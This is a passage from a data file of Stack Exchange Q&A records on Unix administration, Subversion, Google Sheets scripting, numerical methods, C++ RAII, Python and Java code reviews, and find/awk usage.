done\\n);}"  , "title": "Optimizing multiplication of square matrices for full CPU utilization"  , "tags": "optimization;c;matrix;sse;openmp"  } 
{  "id": "_unix.89550"  , "question": "I fight with svn since 2 hours to store my password inside the gnome keyring, but nothing worked. I'm on a fresh installed archlinux system with the following packages installed:acl 2.2.52-1alsa-lib 1.0.27.2-1alsa-utils 1.0.27.2-1apr 1.4.8-1apr-util 1.5.2-1arandr 0.1.7.1-1archlinux-keyring 20130818-1aspell 0.60.6.1-1at-spi2-atk 2.8.1-1at-spi2-core 2.8.0-1atk 2.8.0-1attr 2.4.47-1aurvote 1.5-2autoconf 2.69-1automake 1.14-1avahi 0.6.31-10bash 4.2.045-5binutils 2.23.2-3bison 3.0-1boost-libs 1.54.0-3bzip2 1.0.6-4ca-certificates 20130610-1ca-certificates-java 20130815-1cairo 1.12.16-1cdparanoia 10.2-4chromium 29.0.1547.65-1cloog 0.18.0-2clucene 2.3.3.4-7colord 1.0.2-2compositeproto 0.4.2-2coreutils 8.21-2cracklib 2.9.0-1cronie 1.4.9-5cryptsetup 1.6.2-1curl 7.32.0-1customizepkg 0.2.1-2damageproto 1.2.1-2db 5.3.21-1dbus 1.6.12-1dbus-glib 0.100.2-1dconf 0.16.1-1desktop-file-utils 0.21-1device-mapper 2.02.100-1dhcpcd 6.0.5-1dialog 1.2_20130523-2diffutils 3.3-1dirmngr 1.1.1-1dnssec-anchors 20130320-1dotconf 1.3-3e2fsprogs 1.42.8-1elfutils 0.155-1enca 1.14-1enchant 1.6.0-4exo 0.10.2-1expat 2.1.0-2faac 1.28-4faad2 2.7-3fakeroot 1.19-1farstream-0.1 0.1.2-2fftw 3.3.3-1file 5.14-1filesystem 2013.05-2findutils 4.4.2-5firefox 23.0.1-1fixesproto 5.0-2flac 1.3.0-1flashplugin 11.2.202.297-1flex 2.5.37-1fontconfig 2.10.95-1fontsproto 2.1.2-1freeglut 2.8.1-1freetype2 2.5.0.1-1fribidi 0.19.5-1garcon 0.2.1-1gawk 4.1.0-1gcc 4.8.1-3gcc-libs 4.8.1-3gconf 3.2.6-2gcr 3.8.2-1gdbm 1.10-1gdk-pixbuf2 2.28.2-1gettext 0.18.3.1-1giflib 5.0.4-2git 1.8.4-1glib-networking 2.36.2-1glib2 2.36.4-1glibc 2.18-3glu 9.0.0-2gmp 5.1.2-1gnome-icon-theme 3.8.3-1gnome-icon-theme-symbolic 3.8.3-1gnome-keyring 3.8.2-1gnupg 2.0.21-1gnutls 3.2.4-1gpgme 1.4.3-1gpm 1.20.7-3graphite 1:1.2.3-1grep 2.14-2grml-zsh-config 0.8.2-1groff 1.22.2-5grub 2.00.5086-1gsettings-desktop-schemas 3.8.2-1gsm 1.0.13-7gstreamer0.10 0.10.36-2gstreamer0.10-bad 0.10.23-4gstreamer0.10-bad-plugins 0.10.23-4gstreamer0.10-base 0.10.36-1gstreamer0.10-base-plugins 0.10.36-1gstreamer0.10-ffmpeg 0.10.13-1gstreamer0.10-good 0.10.31-3gtk-engines 2.21.0-1gtk-update-icon-cache 2.24.20-1gtk2 2.24.20-1gtk2-xfce-engine 3.0.1-1gtk3 3.8.4-1gtk3-xfce-engine 3.0.1-1gtkspell 2.0.16-2gzip 1.6-1harfbuzz 0.9.19-1harfbuzz-icu 0.9.19-1heirloom-mailx 12.5-3hicolor-icon-theme 0.12-2hspell 1.2-1hunspell 1.3.2-2hwids 20130607-1hyphen 2.8.6-1iana-etc 2.30-3icon-naming-utils 0.8.90-2icu 51.2-1inetutils 1.9.1-6inputproto 2.3-1intel-dri 9.2.0-1iproute2 3.10.0-1iptables 1.4.19.1-1iputils 20121221-3isl 0.12.1-1iso-codes 3.44-1jasper 1.900.1-8jdk7-openjdk 7.u40_2.4.1-3jfsutils 1.1.15-4jre7-openjdk 7.u40_2.4.1-3jre7-openjdk-headless 7.u40_2.4.1-3js 17.0.0-1json-c 0.11-1kbd 2.0.0-1kbproto 1.0.6-1keyutils 1.5.5-5kmod 15-1krb5 1.11.3-1ladspa 1.13-4lcms2 2.5-1ldns 1.6.16-1less 458-1lib32-gcc-libs 4.8.1-3lib32-glibc 2.18-3lib32-libstdc++5 3.3.6-6lib32-ncurses 5.9-2lib32-zlib 1.2.8-1libarchive 3.1.2-2libass 0.10.1-1libassuan 2.1.1-1libasyncns 0.8-4libatasmart 0.19-2libcap 2.22-5libcap-ng 0.7.3-1libcdaudio 0.99.12-6libcroco 0.6.8-1libcups 1.6.3-1libdaemon 0.14-2libdatrie 0.2.6-1libdc1394 2.2.1-1libdca 0.0.5-3libdrm 2.4.46-2libdv 1.0.0-4libdvdnav 4.2.0-2libdvdread 4.2.0-1libedit 20130601_3.1-1libevent 2.0.21-2libexif 0.6.21-1libffi 3.0.13-3libfontenc 1.1.2-1libgcrypt 1.5.3-1libglade 2.6.4-3libgme 0.6.0-2libgpg-error 1.12-1libgssglue 0.4-1libgusb 0.1.6-1libice 1.0.8-1libidn 1.26-1libimobiledevice 1.1.5-1libjpeg-turbo 1.3.0-2libksba 1.3.0-1libldap 2.4.35-4liblrdf 0.5.0-1libltdl 2.4.2-10libmbim 1.4.0-1libmms 0.6.2-1libmng 2.0.2-2libmodplug 0.8.8.4-1libmp4v2 2.0.0-2libmpc 1.0.1-1libmpcdec 1.2.6-3libnice 0.1.4-1libnl 3.2.22-1libnotify 0.7.5-1libofa 0.9.3-4libogg 1.3.1-1libpcap 1.4.0-1libpciaccess 0.13.2-1libpipeline 1.2.4-1libplist 1.10-1libpng 1.6.3-1libproxy 0.4.11-2libpulse 4.0-2libpurple 2.10.7-4libqmi 1.4.0-2libraw1394 2.1.0-1libreoffice-af 4.1.1-1libreoffice-base 4.1.1-2libreoffice-calc 4.1.1-2libreoffice-common 4.1.1-2libreoffice-draw 4.1.1-2libreoffice-gnome 4.1.1-2libreoffice-impress 4.1.1-2libreoffice-math 4.1.1-2libreoffice-postgresql-connector 4.1.1-2libreoffice-sdk 4.1.1-2libreoffice-sdk-doc 4.1.1-2libreoffice-writer 4.1.1-2librsvg 1:2.37.0-1libsamplerate 0.1.8-2libsasl 2.1.26-4libsecret 0.15-2libsm 1.2.1-1libsndfile 1.0.25-2libsoup 2.42.2-1libssh2 1.4.3-1libtasn1 3.3-1libthai 0.1.19-1libtheora 1.1.1-3libtiff 4.0.3-3libtirpc 0.2.3-1libtool 2.4.2-10libunique 1.1.6-5libusbx 1.0.16-2libvdpau 0.7-1libvisual 0.4.0-4libvorbis 1.3.3-1libvpx 1.2.0-1libwebp 0.3.1-3libwnck 2.30.7-1libwpd 0.9.9-1libwps 0.2.9-1libx11 1.6.1-1libxau 1.0.8-1libxcb 1.9.1-2libxcomposite 0.4.4-1libxcursor 1.1.14-1libxdamage 1.1.4-1libxdmcp 1.1.1-1libxext 1.3.2-1libxfce4ui 4.10.0-1libxfce4util 4.10.1-2libxfixes 5.0.1-1libxfont 1.4.6-1libxft 2.3.1-1libxi 1.7.2-1libxinerama 1.1.3-1libxkbcommon 0.3.1-1libxkbfile 1.0.8-1libxklavier 5.3-1libxml2 2.9.1-2libxmu 1.1.1-1libxpm 3.5.10-1libxrandr 1.4.1-1libxrender 0.9.8-1libxres 1.0.7-1libxslt 1.1.28-1libxss 1.2.2-1libxt 1.1.4-1libxtst 1.2.2-1libxv 1.0.9-1libxvmc 1.0.8-1libxxf86vm 1.1.3-1libzeitgeist 0.3.18-3licenses 20130203-1linux 3.10.10-1linux-api-headers 3.10.6-1linux-firmware 20130725-1llvm-libs 3.3-1logrotate 3.8.6-1lpsolve 5.5.2.0-2lsb-release 1.4-13lsof 4.87-2lvm2 2.02.100-1lzo2 2.06-1m4 1.4.16-3make 3.82-6man-db 2.6.5-1man-pages 3.53-1mcpp 2.7.2-4mdadm 3.2.6-4mesa 9.2.0-1mesa-libgl 9.2.0-1mime-types 9-1mjpegtools 2.0.0-3mkinitcpio 0.15.0-1mkinitcpio-busybox 1.21.1-2modemmanager 1.0.0-1mozilla-common 1.4-3mpfr 3.1.2-1mtdev 1.1.3-1mumble 1.2.4-2musicbrainz 2.1.5-5nano 2.2.6-2ncurses 5.9-5neon 0.29.6-4net-tools 1.60.20130531git-1netctl 1.3-1nettle 2.7.1-1networkmanager 0.9.8.2-1nspr 4.10-2nss 3.15.1-1openjpeg 1.5.1-1openresolv 3.5.6-1openssh 6.2p2-1openssl 1.0.1.e-3opus 1.0.3-1orc 0.4.17-1p11-kit 0.18.4-1package-query 1.2-2pacman 4.1.2-1pacman-mirrorlist 20130830-1pam 1.1.6-4pambase 20130113-1pango 1.34.1-1parted 3.1-2patch 2.7.1-2pciutils 3.2.0-3pcmciautils 018-7pcre 8.33-1perl 5.18.1-1perl-error 0.17021-1perl-xml-parser 2.41-4perl-xml-simple 2.20-1pidgin 2.10.7-4pinentry 0.8.3-1pixman 0.30.2-1pkg-config 0.28-1pm-quirks 0.20100619-3pm-utils 1.4.1-6polkit 0.111-1poppler 0.24.1-1popt 1.16-6postgresql-libs 9.2.4-2ppp 2.4.5-8procps-ng 3.3.8-2protobuf 2.5.0-3psmisc 22.20-1pth 2.0.7-4pygobject2-devel 2.28.6-9pygtk 2.24.0-3python 3.3.2-1python-xdg 0.25-1python2 2.7.5-1python2-cairo 1.10.0-1python2-gobject2 2.28.6-9qt4 4.8.5-2randrproto 1.4.0-1raptor 2.0.9-2rasqal 1:0.9.30-1readline 6.2.004-1recode 3.6-7recordproto 1.14.2-1redland 1:1.0.16-2reiserfsprogs 3.6.24-1renderproto 0.11.1-2rsync 3.0.9-6rtmpdump 20121230-2run-parts 4.4-1schroedinger 1.0.11-1scrnsaverproto 1.2.2-1sdl 1.2.15-3seahorse 3.8.2-1sed 4.2.2-3serf 1.3.0-1sg3_utils 1.36-1shadow 4.1.5.1-6shared-color-profiles 0.1.5-1shared-mime-info 1.1-1slim 1.3.5-3snappy 1.1.0-1soundtouch 1.7.1-1speech-dispatcher 0.8-1speex 1.2rc1-3sqlite 3.8.0.1-1startup-notification 0.12-3strace 4.8-1subversion 1.8.1-2sudo 1.8.7-1sysfsutils 2.1.0-8systemd 204-3systemd-sysvcompat 204-3sysvinit-tools 2.88-11tar 1.26-4texinfo 5.1-1thunar 1.6.3-1thunar-volman 0.8.0-1thunderbird 17.0.8-1tmux 1.8-1ttf-bitstream-vera 1.10-9tumbler 0.1.29-1tzdata 2013d-1udisks 1.0.4-8unixodbc 2.3.1-1upower 0.9.20-2usbmuxd 1.0.8-2usbutils 007-1util-linux 2.23.2-1vi 1:050325-3videoproto 2.3.2-1vim 7.4.0-2vim-runtime 7.4.0-2vte 0.28.2-3vte-common 0.34.7-1wayland 1.2.1-1wget 1.14-2which 2.20-6wildmidi 0.2.3.5-2wpa_supplicant 2.0-4xcb-proto 1.8-2xcb-util 0.3.9-1xdg-utils 1.1.0.git20130520-1xextproto 7.2.1-1xf86-input-evdev 2.8.1-1xf86-input-synaptics 1.7.1-1xf86-video-intel 2.21.15-1xf86-video-vesa 2.3.2-3xf86vidmodeproto 2.3.1-2xfce4-appfinder 4.10.1-1xfce4-mixer 4.10.0-2xfce4-panel 4.10.1-1xfce4-power-manager 1.2.0-4xfce4-session 4.10.1-2xfce4-settings 4.10.1-1xfce4-terminal 0.6.2-1xfconf 4.10.0-3xfdesktop 4.10.2-1xfsprogs 3.1.11-1xfwm4 4.10.1-1xfwm4-themes 4.10.0-1xineramaproto 1.2.1-2xkeyboard-config 2.9-2xorg-bdftopcf 1.0.4-1xorg-font-util 1.3.0-1xorg-font-utils 7.6-3xorg-fonts-alias 1.0.3-1xorg-fonts-encodings 1.0.4-3xorg-fonts-misc 1.0.1-2xorg-iceauth 1.0.6-1xorg-mkfontdir 1.0.7-1xorg-mkfontscale 1.1.1-1xorg-server 1.14.2-2xorg-server-common 1.14.2-2xorg-setxkbmap 1.3.0-1xorg-xauth 1.0.7-1xorg-xinit 1.3.2-3xorg-xinput 1.6.0-1xorg-xkbcomp 1.2.4-1xorg-xrandr 1.4.1-1xorg-xrdb 1.0.9-2xorg-xset 1.2.3-1xproto 7.0.24-1xvidcore 1.3.2-1xz 5.0.5-1yajl 2.0.4-1yaourt 1.3-1zip 3.0-3zlib 1.2.8-1zsh 5.0.2-3my svn configs looks like this:~/.subversion/config:cat ~/.subversion/config | grep -v ^#[auth]store-passwords = yesstore-auth-creds = yespassword-stores = gnome-keyring~/.subversion/serverscat ~/.subversion/servers | grep -v ^#[global]store-passwords = yesstore-plaintext-passwords = askI also played with store-plaintext-passwords = no|yes while not having a proper result! According to several Threads it should work with this configuration. Has Anyone an idea what I#m doing wrong or can try next?"  , "title": "Subversion (svn) doesn't store passwords in gnome-keyring"  , "tags": "arch linux;password;subversion;gnome keyring"  , "accepted_answer": "The gnome-keyring-daemon must be running for Subversion to store passwords in it. When the daemon starts, it emits two variables that need to be exported into your environment. So if it's already running, it might be easier to kill it and start over. Start it up like this:export $(nohup gnome-keyring-daemon 2>/dev/null)The output that gets sent to export looks something like this:GNOME_KEYRING_SOCKET=/tmp/keyring-OpuUEI/socketGNOME_KEYRING_PID=9256Now when you execute a Subversion subcommand that requires it to contact the server, the client will prompt for your Subversion password first, then your Gnome keyring password. The keyring should stay unlocked for at least the duration of your login session (and maybe longer).There are also some pointers on the ArchWiki that may be Arch-specific, so take a look there if my suggestions don't work."  } 
{  "id": "_webapps.94729"  , "question": "On the Evernote web app, is there a way to find and replace text?I can use the inbuilt find tool in my browser (Chrome) by pressing Ctrl + F, but I can't work out a quick way to replace text as well, given there doesn't seem to be an obvious option in the app.Is there an option I'm not seeing, or even a hacky way to do this that doesn't involve opening up a text editor and copy pasting?Googling for this leads to Evernote forum posts about using the Evernote Mac or PC application, which do have find/replace available, but unfortunately I can't find anything regarding this feature on the web app."  , "title": "Find and replace on Evernote web app"  , "tags": "evernote"  } 
{  "id": "_unix.322196"  , "question": "I have a Debian 32 bit machine running a server application.During previous reboot there seems to be some problem with display manager.After boot the display is blank. I am able to SSH to this from other systems and have root access. During boot the display works fine. Can you please tell me how can I reinstall GNOME or display manager or reset these display settings. "  , "title": "Debian Wheezy GNOME corrupted after reboot"  , "tags": "linux;debian;gnome;display"  , "accepted_answer": "I dont,t know what display-manager you use, So this will reinstall your Display-manager and  gnome.  apt install --reinstall $(cat /etc/X11/default-display-manager | cut -d / -f 4) gnome-session"  } 
{  "id": "_scicomp.4979"  , "question": "I have see the method PCHIP in matlab that implements the monotone Hermite interpolation method which was originally proposed by Carlson in 1980s. It seem to accomplish the goal of preventing the values go outside of the range. I have not seen the error estimates results but I guess it does as good as cubic polynomial and locally $O(h^4)$. Now, there are more recent ENO/WENO methods and their multiple kids. Would like to hear why these methods stand out and why they are better or worse compare to monotone Hermite?"  , "title": "ENO/WENO vs monotone Hermite interpolation"  , "tags": "hyperbolic pde;interpolation"  , "accepted_answer": "PCHIP is not a conservative reconstruction, making it inappropriate for conservation laws. Furthermore, hyperbolic problems have discontinuous solutions so there is generally no benefit to a continuous reconstruction. Conservative monotone spline reconstructions are being investigated by the UK Met Office for use in tracer advection for atmosphere modeling, see papers on the multi-dimensional case, quartic splines, and applications. These methods are relatively new and are not currently popular with many other groups. Some reasons for this includenonlocal reconstruction is inconvenient, especially in parallelthese methods are semi-Lagrangian and currently only suitable for advection, especially in multiple dimensionsthere is no characteristic spline-based reconstructiononly structured grids can be used"  } 
{  "id": "_reverseengineering.15815"  , "question": "I'm looking for help reverse engineering a production Ionic iOS app and turning it into a buildable project.  I have taken the ipa file from the App Store, extracted the contents of the bundle, and copied the www folder out.  I've then created a new Ionic blank starter app, copied the www folder from the ipa to the new project, installed all the plugins that I saw in the plugins folder (and as a result updated the config.xml and package.json files).With these steps, I can run the project in the simulator just fine, but did I miss any steps?  Are there any other files that need to be copied from the bundle or settings I need to tweak to get a production Ionic app into a test project?  Or can I just start editing the application JavaScript.My first pass can be found in this GitHub repo: subwaytime-2-re"  , "title": "Creating a buildable project from an Ionic iOS App Store app"  , "tags": "ios;ionic"  } 
{  "id": "_codereview.23981"  , "question": "Here is a solution to the SPOJ's JPESEL problem. Basically the problem was to calculate cross product of 2 vectors modulo 10. If there is a positive remainder, it's not a valid PESEL number; (return D) if the remainder equals 0, it's a valid number (return N).import re, sysn = input()t = [1,3,7,9,1,3,7,9,1,3,1]while(n):    p = map(int, re.findall('.',sys.stdin.readline()))    # Another approach I've tried in orer to save some memory - didn't help:    # print 'D' if  sum([int(p[0]) * 1,int(p[1]) * 3,int(p[2]) * 7,int(p[3]) * 9,int(p[4]) * 1,int(p[5]) * 3,int(p[6]) * 7,int(p[7]) * 9,int(p[8]) * 1,int(p[9]) * 3,int(p[10]) * 1]) % 10 == 0 else 'N'    print 'D' if ( sum(p*q for p,q in zip(t,p)) % 10 ) == 0 else 'N'    n-=1The solution above got the following results at SPOJ:Time: 0.03sMemory: 4.1Mwhere the best solutions (submitted in Python 2.7) got:Time: 0.01sMemory: 3.7MHow can I optimize this code in terms of time and memory used?Note that I'm using different function to read the input, as sys.stdin.readline() is the fastest one when reading strings and input() when reading integers."  , "title": "SPOJ Pesel challemge"  , "tags": "python;optimization;programming challenge;python 2.7"  , "accepted_answer": "You can try to replace re module with just a sys.stdin.readline() and replace zip interator with map and mul function from operator module like this:from sys import stdinfrom operator import mulreadline = stdin.readlinen = int(readline())t = [1,3,7,9,1,3,7,9,1,3,1]while n:    p = map(int, readline().rstrip())    print 'D' if (sum(map(mul, t, p)) % 10) == 0 else 'N'    n -= 1UpdateIt seems getting item from a small dictionary is faster than int so there is a version without int:from sys import stdinreadline = stdin.readlineval = {0: 0, 1: 1, 2: 2, 3: 3, 4: 4, 5: 5, 6: 6,       7: 7, 8: 8, 9: 9}val3 = {0: 0, 1: 3, 2: 6, 3: 9, 4: 12, 5: 15, 6: 18,        7: 21, 8: 24, 9: 27}val7 = {0: 0, 1: 7, 2: 14, 3: 21, 4: 28, 5: 35, 6: 42,        7: 49, 8: 56, 9: 63}val9 = {0: 0, 1: 9, 2: 18, 3: 27, 4: 36, 5: 45, 6: 54,        7: 63, 8: 72, 9: 81}n = int(readline())while n:    # Expects only one NL character at the end of the line    p1, p2, p3, p4, p5, p6, p7, p8, p9, p10, p11, _ = readline()    print 'D' if ((val[p1] + val3[p2] + val7[p3] + val9[p4]                   + val[p5] + val3[p6] + val7[p7] + val9[p8]                   + val[p9] + val3[p10] + val[p11]) % 10 == 0) else 'N'    n -= 1"  } 
{  "id": "_softwareengineering.290557"  , "question": "I've been attempting to learn C++, but it is famously plagued by bad tutorials. I learned about a clever little trick called RAII (Resource Acquisition is Initialization), where one wraps a heap variable in an object placed on the stack. One would free the resources in the destructor of this object, so one would not have to worry about calling delete on the heap based object. However, I also know that you are supposed to create as few objects as possible, as to save RAM. Which brings me to my question, how much should I use RAII? Especially in a project that creates a lot of heap variables."  , "title": "How often should RAII be used?"  , "tags": "c++;programming practices;raii"  , "accepted_answer": "How often should RAII be used?As often as it makes sense to use (that is, whenever you have an operation that will need to be inverted/undone/closed/finalized/committed/etc. you should probably use RAII).However, I also know that you are supposed to create as few objects as possible, as to save RAM.No; This is a form of premature optimization which is bad enough, but it also relies on a fallacy:The number of variables in the code should not be a limiting factor in using RAII, because if you need a variable allocated, the allocation will be the same, whether it is in a wrapper or raw. An extra RAII wrapper will not add anything significant to the memory footprint of the application.In other words, the following pieces of code should have the same (or comparable) memory footprints:resource* allocate_resource() { return new resource{}; }void release_resouce( resource * r ) { delete resource; }// client codeauto r = allocate_resource();release_resouce(r);andstruct resource_ptr {    resource * r_;    resource_ptr() : r_ { new resource }{}    ~resource_ptr() { delete r_; }};// client code:resource_ptr p;Both the resource* in the first sample and the resource_ptr instance in the second will have the same size (4 bytes on 32bit systems) and the calls to new/delete are in separate functions (which again, should have the same footprint whether in a structure or at top-level).Something to keep in mind:RAII can also be translated to mean Responsibility acquisition is initialization, in which case, it will mean something more abstract (and larger) than pointer/resource release in destructors. It effectively applies to any operation that requires a counter-operation later:files that are opened will need to be closeddatabase transactions will need to be committed or rolled backmutexes that are locked will need to be unlockednetwork connections that have been opened will need to be closedNone of these are heap variables, but RAII applies naturally to all of them."  } 
{  "id": "_unix.200166"  , "question": "I know these are  tools used for improving security. But what I would like to know is what they are and how they work?"  , "title": "What are the differences between sudo and the use of groups?"  , "tags": "security;sudo;group;privileges"  } 
{  "id": "_unix.151162"  , "question": "I have a concatenated log file with multiple logs inside that I'm trying to parse out into individual log files (I will later rename them to the date/time of each). Each log is separated by --- LOG REPORT ---.So far I have...sed -n '/--- LOG REPORT ---/,/--- LOG REPORT ---/p' logname.log > test.outHowever, as you can imagine, that only outputs the first instance of the pattern. I looked over the man page for sed and I'm not convinced it can output multiple files. Perhaps I could keep extracting from a file until it's empty but that seems like too much work. How I can achieve this? Maybe I should be using awk instead?Example of input file filename.log--- LOG REPORT ---MaryHadALittleLamb--- LOG REPORT ---HerFleeceWasWhiteAsSnowDesired output:In filename_1.log--- LOG REPORT ---MaryHadALittleLambIn filename_2.log--- LOG REPORT ---HerFleeceWasWhiteAsSnow"  , "title": "Parse multiple sections of data into seperate files"  , "tags": "text processing;sed;awk"  , "accepted_answer": "How about something likeawk '/--- LOG REPORT ---/ {n++;next} {print > testn.out}' logname.log"  } 
{  "id": "_cs.24312"  , "question": "In computer science it is often assumed that a human mind can be reduced to a Turing machine.  This is the assumption that underlies the field of artificial intelligence.However, it is an assumption, one that has neither been proven or disproven.Is there any kind of test within our current capabilities where we can prove/disprove this assumption?If not, is there any evidence that would suggest one way or another?Here is a similar question I asked awhile back on theoretical computer science:https://cstheory.stackexchange.com/questions/3170/human-intelligence-and-algorithms"  , "title": "What would show a human mind is/is not reducible to a Turing machine?"  , "tags": "turing machines;artificial intelligence;computer vs human"  , "accepted_answer": "If we identify a certain task that is non-computable, but the human mind perform, then this proves the human mind is not a Turing machine.As an example, Turing machines cannot make the distinction between proof and truth.  Yet, we humans can, as with the statement this statement is unprovable, which is true but unprovable."  } 
{  "id": "_webapps.39891"  , "question": "Is it possible to customize Google upper black panel? I want to add groups and translation to upper panel and hide other stuff that I don't need."  , "title": "Google: Customization of upper panel"  , "tags": "google;customization"  } 
{  "id": "_cstheory.9007"  , "question": "In the definition of (strong) fixed-parameter tractability, the time bound is an expression of the form $$f(k).p(|x|),$$ where the input instance is $(x,k)$ with parameter $k$, $p$ is a polynomial, and $f$ is a computable function.It is possible to replace the computability requirement for $f$ with other classes of functions, as long as the notion of reduction is similarly restricted.  (For instance, Flum and Grohe cover exponential and subexponential families in chapters 1516 of their textbook, with the associated erf and serf reductions.)Has anyone studied the family of elementary functions for the parameter bound $f$?An elementary function can be bounded above by a fixed tower of exponentials, so this class is closed under composition.  The growth in the parameter in a reduction must then be bounded above by an elementary function as well.There do exist interesting problems from automata theory which are fixed-parameter tractable, but where the parameter bound is non-elementary (unless P = NP, see Frick and Grohe, doi: 10.1016/j.apal.2004.01.007).  I am wondering if anyone has looked at the fixed-parameter tractable problems which exclude fixed values of the parameter leading to such galactic constants (to use Richard Lipton and Ken Regan's term).  Speculating wildly, such a restriction might have useful connections with finite model theory, such as being characterized by a fragment of monadic second-order logic that doesn't lead to the non-elementary constants that can arise from applying Courcelle's Theorem to a fragment with unbounded quantifier alternation."  , "title": "Elementary bounds on parameter in fixed-parameter tractability?"  , "tags": "cc.complexity theory;reference request;fixed parameter tractable"  } 
{  "id": "_webapps.51128"  , "question": "Please see the data below:What I want to do is to write a formula in column D to sum up the order quantity (column C) starting from the row no. specified in column F until current row, for the same item no. However, when I use the address function nested in the sumif function, it gives an error (if I replace the address function with a value then it works). So can someone please kindly advise me how I should write the formula in column D instead?Thank you so much in advance!Stanley"  , "title": "Error using sumif together with address function"  , "tags": "google spreadsheets"  } 
{  "id": "_webapps.10470"  , "question": "My step-son tried to log in to Facebook and saw that account was disabled.  Supposedly because he was using a fake name, which he wasn't.  Is there any way to appeal it? "  , "title": "How to appeal being banned from Facebook for 'fake name'"  , "tags": "facebook"  , "accepted_answer": "I found this at Facebook's help center: Why was my personal Facebook account disabled? At the end, it says If you believe your account was  disabled by mistake, click here.That link takes you to a form you can use to request re-enabling the account. It's possible that Facebook will not care about the requests though. :/ The question reminded me of a newspaper article (in Finnish; very bad Google translation here  'valo' means 'light') about someone whose name real name is Ville Valo (i.e. he's the namesake of a well-known rock artist) who got his FB account disabled, and Facebook just refused to listen to his pleas to re-open it."  } 
{  "id": "_webapps.40546"  , "question": "I'd like to pull values from a named range into a calculation. I have this function: function getNamedRange(n){  SpreadsheetApp.getActiveSpreadsheet().getRangeByName(n);}Seems pretty simple. I have a named range called budgetItems. It definitely exists and has about 6 values in it. But when I try to pull the values with  var items = getNamedRange(budgetItems); items.getValues(); it usually says items is null. I've gotten it to work in the past but it seems really flaky. I suspect there is eventual consistency and caching goofing things up here. I've attached this function (to pull the values from the range) to a menu item. When I run that menu item it takes about 15s to run 5 lines of js -- and then fails. That's... suspicious. "  , "title": "how do I get named ranges in Google Spreadsheets to be more reliable/current?"  , "tags": "google spreadsheets;google apps script"  , "accepted_answer": "This little script will a retrieve named range and make a summation:function namedRange() {  var ss = SpreadsheetApp.getActiveSpreadsheet();  var sh = ss.getActiveSheet();  var nRange = ss.getRangeByName(budgetItems);  var data = nRange.getValues();  var sum=0;        for(var i=0; i<5; i++) {    sum += parseInt(data[i]);  }  sh.setActiveSelection(B1).setValue(sum);}Using the above code as a formula in Google Spreadsheet, allows for significant reduction of code and API calls:function getTest(range){  var sum=0;  for(var i=0, len=range.length; i<len; i++) {    sum += parseInt(range[i]);  }    return sum;}You can address the range as: =getTest(A1:A5) or =getTest(A1:A9)See example file: getRangeByName (editable)"  } 
{  "id": "_codereview.55386"  , "question": "Design a Data Structure SpecialStack that supports all the stack operations like push(), pop(), isEmpty(), isFull() and an additional operation getMin() which should return minimum element from the SpecialStack. All these operations of SpecialStack must be O(1). To implement SpecialStack, you should only use standard Stack data structure and no other data structure like arrays, list, .. etc.Looking for code review, optimizations, best practices.    public class StackMinimum<T>{       /*        * Composition triumphs over inheritance :)        */       private final Stack<T> stack1 = new Stack<T>();       private final Stack<T> stack2 = new Stack<T>();       public void push(T item) {           stack1.push(item);           if (stack2.isEmpty() || ((Comparable<T>) item).compareTo(stack2.peek()) < 0) {               stack2.push(item);           }        }        public T pop() {            T item = stack1.pop();            if (item.equals(stack2.peek())) {                stack2.pop();            }            return item;        }        public T peek() {            return stack1.peek();        }        public int size() {            return stack1.size();        }        public T getMinimum () {            return stack2.peek();        }        public boolean isEmpty() {            return stack1.isEmpty();        }    }public class StackMinimumTest {    @Test    public void test() {        StackMinimum<Integer> stack1 = new StackMinimum<Integer>();        stack1.push(1);        stack1.push(2);        stack1.push(3);        assertEquals(1, (int)stack1.getMinimum());        stack1.push(-1);        assertEquals(-1, (int)stack1.getMinimum());        stack1.pop();        assertEquals(1, (int)stack1.getMinimum());        while(!stack1.isEmpty()) {            assertEquals(1, (int)stack1.getMinimum());            stack1.pop();        }    }}"  , "title": "Stack with 'getMinimum' operation"  , "tags": "java;algorithm;stack"  , "accepted_answer": "You have a bug: .getMinimum() loses track if you push the same new minimum value twice.You should use both inheritance and composition.Use inheritance for the main stack, because your data structure is a stack  one with an extra feature.  That gives you the read-only operations .peek(), .size(), and .isEmpty() for free.Use composition for the minimum stack, as you have currently done."  } 
{  "id": "_unix.125983"  , "question": "I found this weird behavior in find. Depending on the order of the parameters to find it finds different files.For example, I have a directory tree with the following content.. configure.ac Makefile.am src     hello.c     Makefile.amif I runfind -name '*.cpp' -o -name '*.[chS]' -print0 | xargs -0 echoIt lists./src/hello.cAnd if I runfind -name '*.[chS]' -o -name '*.cpp' -print0 | xargs -0 echoIt doesn't list anything. Notice that the only thing I changed is the order of the file name.Can anyone explain why the second command doesn't list any files?"  , "title": "Why does to order of the parameters affect the files found by `find`?"  , "tags": "find"  , "accepted_answer": "The -print0 action gets bound only to the second -name filter (test in find parlance), so it will only print out something if the second filter matches. This is because the default operator in the find expression is and, and binds tighter than or (-o). i.e. your second expression is evaluated as:find -name '*.[chS]' -o \\( -name '*.cpp' -print0 \\) | xargs -0 echoTry grouping the filters:find \\( -name '*.[chS]' -o -name '*.cpp' \\) -print0 | xargs -0 echoYou could also do this if you felt like it:find -name '*.[chS]' -print0 -o -name '*.cpp' -print0 | xargs -0 echo"  } 
{  "id": "_vi.9888"  , "question": "It is possible to pipe visually selected lines (i.e. selected with uppercase V) using :, after which I can enter a command in vim's command line,  e.g.::'<,'>!python -m base64 -dI'd like to do the same for the selected character range (i.e. selected with lowercase v). Using : still creates a linewise range (:'<'>). Trying to manually provide a character range like this::`<,`>!python -m base64 -dStill does not work; it outputs this:E492: Not an editor command: `<`>!python -m base64 -dThe question: How can I pipe visually selected characters to a system (cmd) program?"  , "title": "How to pipe *characters* to cmd ( `:!` )"  , "tags": "command line;visual mode;range"  } 
{  "id": "_softwareengineering.305435"  , "question": "Well basically, I have an Engine class that recieves a command as string from the input and passes it to a CommandHandler class which executes the apropriate command.The CommandHandler passes the string to a CommandFactory to get the command and calls the method Execute() of the command, but the problem is that every command depends on different classes to execute properly. For example, one commands need the IOutputWriter to write something, the other needs IBuldingFactory to create a building, etc. I am using a reflection in the CommandFactory class, and I can't pass the dependencies through the constructor using Activator.CreateInstance(), because every command has different dependencies.My current architecture looks something like this:class Engine(){    IData data; // application database    IInputReader inputReader;    ICommandHandler commandHandler;    public void Run()    {        string command = inputReader.Read();        commandHandler.Handle(command, data);    }}class CommandHandler(){    ICommandFactory commandFactory();    public void Handle(string command, IData data)    {        string executableCommand = commandFactory().createCommand(command);        executableCommand.Execute(data);    }}class DisplayDataCommand : ICommand{    IOutputWriter outputWriter;            public void Execute(IData data)    {        outputWriter.Print(data.ToString());    }}class BuildCommand : ICommand{    IBuildingFactory 